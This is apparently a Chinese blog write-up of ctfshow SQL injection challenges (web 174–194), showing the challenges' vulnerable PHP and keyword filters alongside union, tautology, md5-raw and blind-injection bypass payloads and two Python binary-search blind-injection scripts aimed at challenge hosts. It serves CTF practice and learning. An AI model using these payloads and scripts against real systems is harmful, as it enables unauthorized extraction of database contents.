1 2 3 又来刷题了 ctfshow的题目还是很全的,之前刷题都不是很系统,这次再努力一次吧! 参考:https://hextuff.dev/2021/07/29/ctfshow-web-getting-started-sql-injection/#web188
刷题
web 174(sql注入)
查询语句
1 2 3 / / 拼接sql 语句查找指定ID用户$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id' ]."' limit 1;";
结果返回逻辑
1 2 3 4 if (!preg_match ('/flag|[0-9]/i' , json_encode ($ret ))){ $ret ['msg' ]='查询成功' ; }
尝试
1 2 3 4 -1 'union select 1,1--+ #这个是不能直接查询,过不了正则,即查询的结果不能含有flag和数字,那这样即使是查到flag也无法输出结果,因此我们要进行base64编码 1' union select CHAR (100 ),CHAR (100 )
sqlmap给出
1 http:/ / 994 c4e0c- b284-461e-9612 - c6ef5eaa512a.challenge.ctf.show/ api/ v4.php?id= 1 ' UNION ALL SELECT NULL,CONCAT(0x7178717671,0x6c734e546e4571636d5443754641574f41426d6b43644745744a6976654149746f76647059774676,0x7171707071)-- -&page=1&limit=10
手动注入:
1 2 3 4 5 6 # 当前数据库表名 0 ' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+ # 直接查flag 0' union Select 1 ,2 ,group_concat(password) from ctfshow_user where username = 'flag'
175(sql注入全过滤)
181
1 2 3 4 5 6 7 8 9 / / 对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i' , $str); } 解题: 'or' 1 '=' 1 '--%0c #万能密码,闭合永真式查出所有数据 ' or (username)= 'flag #类似上面思路,不过闭合后得到username=flag -1' % 0 cor% 0 cusername% 0 clike% 0 c'flag #like关键字的使用,若=号被过滤
182 ,过滤flag关键字
1 2 3 4 5 6 7 8 9 10 11 12 / / 对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i' , $str); } 解题 1. 万能密码 'or' 1 '=' 1 '--%0c 或者 1' or '1' 2. like 模糊查询绕过flag 'or`username`like' f% 或者 999 '||`username`like' f% 3. concat拼接绕过flag -1 'or(username=concat(' fl',' ag'))and' a'=' a
tips
:这里给出万能密码拼接出的sql语句.方便分析
1 select id,username,password from ctfshow_user where username != 'flag' and id = '-1' or (username= concat('fl' ,'ag' ))and 'a' = 'a' limit 1 ;
从左往右看的话就好理解了,前面两个and可以看作一个,因为默认顺序,然后or后面的and都是永真,因此整个where判断条件都是永真!即可查询所有密码
183 ,or and flag 关键字都被过滤
1 2 3 4 5 6 7 8 9 10 11 12 $sql = "select count(pass) from " .$_POST ['tableName' ].";" ; function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i' , $str ); } $user_count = 0 ;
184 right join on 右连接构造判断表达式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsurl = "http://29eaa11f-1ab7-4b93-9fb7-bd2b43e3daba.challenge.ctf.show/select-waf.php" flag = 'ctfshow{' for i in range (45 ): if i <= 8 : continue for j in range (127 ): data = { "tableName" : f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i} ,1)regexp(char({j} )))" } r = requests.post(url,data=data) if r.text.find("$user_count = 43;" )>0 : if chr (j) != "." : print (data) flag += chr (j) print (flag.lower()) if chr (j) == "}" : flag += chr (j) exit(0 ) break print (flag.lower()+'}' )
185 过滤数字,下面是数字构造表
187 [SQL绕过]md5($str,true)类型绕过,md5万能密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $sql = "select count(*) from ctfshow_user where username = '$username ' and password= '$password '" ; $username = $_POST ['username' ];$password = md5 ($_POST ['password' ],true );if ($username !='admin' ){ $ret ['msg' ]='用户名不存在' ; die (json_encode ($ret )); } <?php echo md5 ("ffifdyop" ,true );
188 关于mysql 一个神奇的整数强制转换和查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 $sql = "select pass from ctfshow_user where username = {$username} " ; if (preg_match ('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==intval ($password )){ $ret ['msg' ]='登陆成功' ; array_push ($ret ['data' ], array ('flag' =>$flag )); } else { die ('密码错误!' ) } 于是想着将 select xxx where 0 即将后面的查询条件控制为假
191 过滤ascii关键字,其实也可以二分注!(利用if条件注入即可)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
1 2 3 4 5 6 7 8 先看if怎么用 if(substr((select f1ag from ctfshow_fl0g),2 ,1 )> 'a' ,1 ,0 ) #给出注入语句 if(< condition > , 1 , 0 ) #总结就是 第一个条件成立返回true ,不成立返回false condition :substr取出子串1 位用于与后面的> 进行判断 或者ord 0 'or(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{})=' 1
193 盲注过滤substr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $sql = "select pass from ctfshow_user where username = '{$username} '" ; if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii|ord|hex|substr/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
这里采用right,或者left关键字
bool判断的时候要对整个字符子串进行匹配,思路就是判断一个字符就把它加到目标字符串上去
即被对比的字符串为flag+'chr(mid)'
194 left、right、substring、char都不能用了。
1 2 3 4 5 6 这里使用 lpad() 函数 它和left ()的注入语句类似,只是多了一个填充字符串padstr参数,令其为空即可。 admin'and ((lpad((select f1ag from ctfshow_flxg),1,'')>' a'))# # 或者使用mid()函数 0' or if(mid((select f1ag from ctfshow_flxg),{},1 )> '{}' ,1 ,0 )
盲注大法它leile~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 import requestsurl='http://90a1c915-af7d-4bb9-8069-f2da501eb8f9.challenge.ctf.show/api/index.php' proxy={ 'http' : '127.0.0.1:8000' , 'https' : '127.0.0.1:8000' } def product_muti_sql (begin,end ): return [f"select table_name from information_schema.tables where table_schema=database() limit {j} ,1" for j in range (begin, end+1 )] def right_boolinjection (method,sql,vulstring ): flag='' for i in range (0 ,200 ): left=32 right=127 mid=0 while left<right: mid=(left+right)//2 payload=sql.format (i,flag+chr (mid)) if method=='GET' : re=requests.get(url+'?id=' +payload) else : re=requests.post(url,data={'username' :payload,"password" : 0 ,},proxies=proxy) if vulstring in re.json()['msg' ]: left=mid+1 else : right=mid print (chr (left)) if chr (left)!=' ' : flag+=chr (left).lower() print (flag.lower()) flag+='\n' return flag def run_boolinjection (method,sql,vulstring ): flag='' for i in range (0 ,200 ): left=32 right=127 mid=0 while left<right: mid=(left+right)//2 payload=sql.format (i,chr (mid)) if method=='GET' : re=requests.get(url+'?id=' +payload) else : re=requests.post(url,data={'username' :payload,"password" : 0 ,},proxies=proxy) if vulstring in re.json()['msg' ]: left=mid+1 else : right=mid print (chr (left)) if ' ' <=chr (left)<='~' : flag+=chr (left) print (flag.lower()) flag+='\n' return flag print (right_boolinjection('POST' ,"admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')>'{}'))#" ,'密码错误' ))''' tips: 一般 limit 3,1 前面这个3是控制位置的,作为可变参数插入到注入模块中! 以下所有打{}的变量表示可控 查指定数据库的所有表名 select table_name from information_schema.tables where table_schema="security" limit {3},1 查所有的字段名称 select column_name from information_schema.columns where table_name='users' limit {1},1 直接查数据 select username from users limit {0},1 '''
TODO
[✅] 完成盲注类型脚本编写,最好带二分法,因为快!
[✅] 再次通过sqli-labs靶场锻炼自己的脚本编写能力
[✅] 用go实现上述脚本
学习堆叠注入绕过tricks,ctfshow
实现一般图形化界面完成盲注(这感觉要仔细思考思考!)
至此盲注就结束啦!
bypass汇总:
1 2 3 || 字符串拼接符合,相当于or 的作用SELECT 1 OR 0 ; SELECT 1 || 0 ;